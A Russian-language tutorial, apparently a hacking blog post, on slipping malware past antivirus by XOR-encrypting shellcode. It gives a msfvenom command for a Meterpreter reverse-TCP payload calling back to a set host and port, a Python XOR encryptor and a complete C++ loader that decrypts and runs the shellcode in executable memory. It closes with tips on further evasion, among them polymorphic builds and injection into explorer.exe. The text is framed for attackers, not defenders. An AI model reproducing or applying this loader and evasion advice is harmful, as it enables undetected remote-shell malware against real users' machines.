70
Антивирусы — это как сторожевые псы. Они обучены узнавать “плохих парней” по запаху (сигнатурам) и поведению (эвристика). Но что, если наш “плохой парень” наденет чужой костюм и надушится ромашкой? Именно этим мы и займёмся. Шифрование пейлоада — классический, как АК-47, и до сих пор чертовски эффективный способ проскользнуть мимо статического анализа.
Почему это работает: Сигнатуры vs. Энтропия
Любой антивирус начинает проверку файла со статического анализа. Он ищет в бинарнике известные “плохие” последовательности байт — сигнатуры. Например, куски кода из Meterpreter
или стандартные обвязки Cobalt Strike
. Если наш пейлоад лежит в файле в открытом виде, он звенит на сканерах, как колокол.
Шифрование превращает упорядоченный, узнаваемый код в белый шум — хаотичный набор байт с высокой энтропией. Для антивируса зашифрованный пейлоад выглядит как случайные данные, архив или медиафайл. Он не видит знакомых сигнатур, а значит, и повода для тревоги нет. Наша задача — в нужный момент превратить этот шум обратно в исполняемый код.
План игры: Шифруем, загружаем, исполняем
Наша тактика состоит из трёх шагов. Мы создадим простой загрузчик (loader или stub), который будет нести в себе зашифрованный пейлоад, а при запуске расшифрует его и выполнит прямо в памяти.
Шаг 1: Шифрование пейлоада
Нам не нужны сложные криптографические навороты. Простой XOR — наш лучший друг. Он быстрый, лёгкий и меняет данные до неузнаваемости. Главное — не использовать один и тот же ключ дважды, чтобы не плодить одинаковые сигнатуры.
Сгенерируем шеллкод, например, с помощью msfvenom
:
1 2 |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py -o shellcode.py |
Теперь напишем простой скрипт на Python для XOR-шифрования:
1 2 3 4 5 6 7 8 9 10 11 12 |
# Загружаем наш сгенерированный шеллкод # buf = b"\xfc\x48\x83\xe4\xf0..." key = "SuperSecretKey" encrypted_payload = bytearray() for i in range(len(buf)): encrypted_payload.append(buf[i] ^ ord(key[i % len(key)])) # Выводим результат в формате, удобном для вставки в C++ print("{ " + ", ".join([f"0x{b:02x}" for b in encrypted_payload]) + " };") print(f"Key: {key}") |
Запускаем этот скрипт, и на выходе получаем массив зашифрованных байт и наш ключ. Они — сердце нашего загрузчика.
Шаг 2: Создание загрузчика (Loader)
Теперь самое интересное. Нам нужен “чистый” исполняемый файл, который не вызовет подозрений. Его задача — содержать зашифрованный пейлоад и логику для его расшифровки и запуска. Писать будем на C++, используя WinAPI, — это даёт максимальный контроль.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
#include <windows.h> #include <iostream> // XOR-дешифратор void xor_decrypt(char* data, size_t data_len, const char* key, size_t key_len) { for (size_t i = 0; i < data_len; ++i) { data[i] = data[i] ^ key[i % key_len]; } } int main() { // Сюда вставляем наш зашифрованный пейлоад из Python-скрипта unsigned char payload[] = { 0xab, 0xcd, 0xef, ... }; const char* key = "SuperSecretKey"; // Тот же ключ // Выделяем память с правами на чтение, запись и исполнение (RWX) void* exec_mem = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec_mem == NULL) { return 1; // Не удалось выделить память } // Копируем пейлоад в выделенную память memcpy(exec_mem, payload, sizeof(payload)); // Расшифровываем пейлоад прямо в исполняемой области памяти xor_decrypt((char*)exec_mem, sizeof(payload), key, strlen(key)); // Создаём указатель на функцию и вызываем наш шеллкод void (*func)(); func = (void (*)())exec_mem; func(); return 0; } |
Шаг 3: Исполнение в памяти (In-Memory Execution)
Магия происходит в последних строках C++ кода.
1. VirtualAlloc
: Мы запрашиваем у операционной системы блок памяти. Ключевой момент — флаг PAGE_EXECUTE_READWRITE
. Он говорит системе: “Этот кусок памяти может содержать код, и я собираюсь его запустить”. Многие эвристики антивирусов палят именно этот вызов, но для базового обхода этого часто достаточно.
2. memcpy
: Копируем наш зашифрованный массив байт в эту новую область.
3. xor_decrypt
: Вызываем нашу функцию дешифровки, которая работает прямо “на месте” — в выделенной исполняемой памяти. Теперь там находится чистый, готовый к работе шеллкод.
4. void (*func)()
: Это самый сок. Мы создаём указатель на функцию, который смотрит на начало нашего блока памяти, а затем просто вызываем его func()
. Происходит прыжок (jump) на наш шеллкод, и он начинает выполняться.
Для антивируса всё выглядит так: программа запустилась, поработала с какой-то памятью (что делают тысячи программ) и… всё. Сам исполняемый файл на диске остаётся чистым, а вредоносный код появляется только в оперативной памяти за мгновение до исполнения.
Что дальше? Путь к невидимости
Этот метод — основа. Он отлично работает против простых сигнатурных сканеров. Но продвинутые EDR и антивирусы с поведенческим анализом могут заметить неладное.
• Подозрительный VirtualAlloc
: Запрос RWX-памяти — красный флаг. Более продвинутые техники используют VirtualProtect
, чтобы сначала выделить RW-память, записать туда пейлоад, а затем изменить права на RX (чтение и исполнение).
• Обфускация загрузчика: Сам код лоадера тоже можно обфусцировать: скрыть вызовы WinAPI, зашифровать строки, добавить “мусорный” код.
• Полиморфизм: Автоматизируйте процесс. Напишите скрипт, который при каждой сборке генерирует новый ключ, перешифровывает пейлоад и вставляет его в шаблон лоадера. Каждый билд будет уникальным.
• Процессная инъекция: Вместо запуска шеллкода в своём процессе, внедрите его в другой, доверенный процесс (например, explorer.exe
). Это следующий уровень маскировки.
Шифрование — это не серебряная пуля, а первый шаг в вечной игре в кошки-мышки. Освоив его, вы поймёте, как думает антивирус, и научитесь всегда быть на шаг впереди.